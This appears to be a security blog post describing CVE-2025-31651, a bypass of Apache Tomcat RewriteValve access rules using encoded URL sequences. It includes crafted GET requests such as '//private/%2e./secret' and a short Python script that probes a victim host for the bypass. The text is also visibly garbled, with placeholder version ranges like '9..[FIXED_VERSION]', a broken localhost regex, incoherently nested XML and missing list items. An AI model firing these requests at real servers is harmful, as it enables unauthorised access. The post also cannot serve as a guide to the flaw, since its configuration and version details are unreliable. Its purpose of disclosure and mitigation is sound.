Apache Tomcat is one of the world’s most popular Java web servers. This spring, security researchers found a serious flaw — CVE-2025-31651 — that affects how Tomcat handles rewrite rules and certain crafted HTTP requests. Bad actors could use this vulnerability to sidestep security constraints set up by site admins.

If you run a vulnerable Tomcat version and use the RewriteValve for access controls, read on to see how the exploit works and what you must do to stay safe.

What’s the CVE-2025-31651 Flaw?

In short, Tomcat isn’t correctly handling “escape,” “meta,” or “control” sequences in certain rare rewrite rule setups. That means carefully crafted HTTP requests can sneak past rewrite-based security rules—just as if there were no protection. If those rewrite rules are your last line of defense for sensitive pages or APIs, a hacker might access things they shouldn’t.

9...M1 to 9..102

Reference: Apache Tomcat Security Advisor

Re-route or deny requests based on patterns

…then you might be vulnerable, especially if your rules rely on precise string matching or pattern blocking.

Real World Example: How the Bypass Happens

Imagine you set up this rewrite valve rule to block anyone from accessing /private except localhost:

Your intended rule (conf/server.xml)

<Valve className="org.apache.catalina.valves.rewrite.RewriteValve" />
<Context>
  <Valve className="org.apache.catalina.valves.rewrite.RewriteValve" />
    <Host name="localhost" appBase="webapps">
      <Context path="">
        <RewriteValve>
          RewriteCond %{REMOTE_ADDR} !^127\.\.\.1$
          RewriteRule ^/private/ - [F]
        </RewriteValve>
      </Context>
    </Host>
</Context>

You expect https://example.com/private/secret to be blocked except from localhost.

But an attacker discovers they can send a crafted request

GET //private/%2e./secret HTTP/1.1
Host: example.com

Or—even more subtle—

GET /private/%A/secret HTTP/1.1
Host: example.com

These special sequences, like %2e (dot), %A (newline), or other control codes, could be improperly decoded and skip your intended rewrite rule. The attacker is in.

Here’s a Python script (Python 3) that fakes such a request

import requests

url = 'http://victim.com/private/%2e./secret';  # try different sequences
response = requests.get(url)
if response.status_code == 200:
    print("Vulnerable! Access granted.")
else:
    print("Access denied. (May not be vulnerable)")

Swap in other encodings like %A (newline) or %09 (tab) to test various bypass methods.

Why Did This Work?

Tomcat’s rewrite logic didn’t fully normalize or block directory traversals or meta/control sequences on certain configurations. So, %2e. might be treated as “current directory,” decomposed and allowed, making /private/%2e./secret become /private/secret outside your block list.

9..[FIXED_VERSION]

Download latest Apache Tomcat

3. Block strange URL sequences.

- Consider adding a WAF or Tomcat custom filter to reject URLs with %A, %D, %2e., and similar sequences.

Official References

- Apache Tomcat Security Advisory for CVE-2025-31651
- Tomcat RewriteValve Documentation
- NVD Entry (to be updated)

Summary

If your access controls depend on Tomcat’s rewrite rules, patch immediately! CVE-2025-31651 is a prime example of how “unlikely” settings can still lead to real-world problems. Always update, review your configs, and test with “weird” requests to see if your guardrails hold.

Stay safe and secure.
*Share this post with your friends or colleagues using Tomcat!*

Timeline

Published on: 04/28/2025 20:15:20 UTC
Last modified on: 05/05/2025 20:14:47 UTC